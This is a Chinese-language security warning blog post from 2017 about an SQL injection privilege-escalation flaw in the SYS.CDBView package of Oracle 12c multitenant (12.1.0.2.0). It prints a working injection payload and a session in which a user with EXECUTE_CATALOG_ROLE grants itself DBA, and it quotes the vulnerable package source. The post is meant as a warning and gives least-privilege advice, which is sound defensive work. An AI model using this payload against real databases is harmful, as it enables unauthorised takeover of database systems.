【安全警告】Oracle 12c 多租户的SQL注入高危风险防范

盖国强 2017-01-11

468

在使用Oracle多租户选件时，由于Container容器和PDB融合共存，则权限控制必将更加重要，在之前的文章中我们提到，Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。

我们在2016年『比特币事件』中，总结了：数据安全的十六大军规，其中有一条也明确提到最小权限守则，而且要真正实现权限管理。

SQL注入攻击的风险

我们来看看如果权限控制不当，可能遭遇到的数据库安全风险。根据最近披露的风险之一，通过SQL注入可能影响数据库的安全，以下问题影响到多租户的12.1.0.2.0最新版本。

假如我们在CDB中拥有一个普通用户，因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色：

SQL> connect as sysdba
Connected.
SQL> create user c##eygle identified by eygle;
User created.
SQL> grant execute_catalog_role,create session to c##eygle;
Grant succeeded.

SQL> select granted_role from user_role_privs;
GRANTED_ROLE
---------------------------------------------
EXECUTE_CATALOG_ROLE

我们看看这一角色可能由此深入所做出的尝试，经常讨论的SQL注入也就在这个知识范畴之中。

当以下一个系列的SQL被执行之后，一个普通用户获得了DBA的权限，如果这是在一个多租户的环境中，这个提权将是非常危险的：

SQL> connect c##eygle/eygle
Connected.
SQL> select granted_role from user_role_privs;
GRANTED_ROLE
-----------------------------------------------------
EXECUTE_CATALOG_ROLE

SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select *+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN * ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');
*
ERROR at line 1:
ORA-00905: missing keyword
ORA-06512: at "SYS.CDBVIEW", line 58
ORA-06512: at line 1

SQL> select /*+WITH_PLSQL*/ * from ALL_POLICIES;
X
-------
1

SQL> select granted_role from user_role_privs;
GRANTED_ROLE
----------------------------
DBA
EXECUTE_CATALOG_ROLE

SQL> select banner from v$version;
BANNER
----------------------------------------------------------------------------------------
Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
PL/SQL Release 12.1.0.2.0 - Production
CORE 12.1.0.2.0 Production
TNS for Linux: Version 12.1.0.2.0 - Production
NLSRTL Version 12.1.0.2.0 - Production

当然作为资深的DBA来说，我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的，要严格控制这一权限的授予。这一注入，实际上是利用了 CDBView 包的校验漏洞，进行了注入提权。

包 sys.CDBView 的主要内容如下（在安装脚本中是明文的），风险来自于脚本内部的校验缺失：

create or replace package sys.CDBView as
----------------------------
-- PROCEDURES AND FUNCTIONS
--
procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,
oldview_name IN varchar2, newview_name IN varchar2);
end CDBView;
/

grant execute on sys.CDBView to execute_catalog_role
/

create or replace package body sys.CDBView is
-- Create the cdb view
-- private helper procedure to create the cdb view
-- Note that quotes should not be added around owner, oldview_name and
-- newview_name before create_cdbview is invoked since all three are used
-- as literals to query dictionary views.
procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,
oldview_name IN varchar2, newview_name IN varchar2) as
sqlstmt varchar2(4000);
col_name varchar2(128);
comments varchar2(4000);
col_type number;
upper_owner varchar2(128);
upper_oldview varchar2(128);
quoted_owner varchar2(130); -- 2 more than size of owner
quoted_oldview varchar2(130); -- 2 more than size of oldview_name
quoted_newview varchar2(130); -- 2 more than size of newview_name

cursor tblcommentscur is select c.comment$
from sys.obj$ o, sys.user$ u, sys.com$ c
where o.name = upper_oldview and u.name = upper_owner
and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4
and c.col# is null;

cursor colcommentscur is select c.name, co.comment$, c.type#
from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co
where o.name = upper_oldview and u.name = upper_owner
and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj#
and c.obj# = co.obj# and c.intcol# = co.col#
and bitand(c.property, 32) = 0;

begin

-- convert owner and view names to upper case
upper_owner := upper(owner);
upper_oldview := upper(oldview_name);

quoted_owner := '"' || upper_owner || '"';
quoted_oldview := '"' || upper_oldview || '"';
quoted_newview := '"' || upper(newview_name) || '"';

-- create cdb view
sqlstmt := 'CREATE OR REPLACE VIEW ' ||
quoted_owner || '.' || quoted_newview ||
' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||
quoted_owner || '.' || quoted_oldview || ')';

--dbms_output.put_line(sqlstmt);
execute immediate sqlstmt;
......
end if;
end loop;
close colcommentscur;
end;

end CDBView;
/
show errors;
/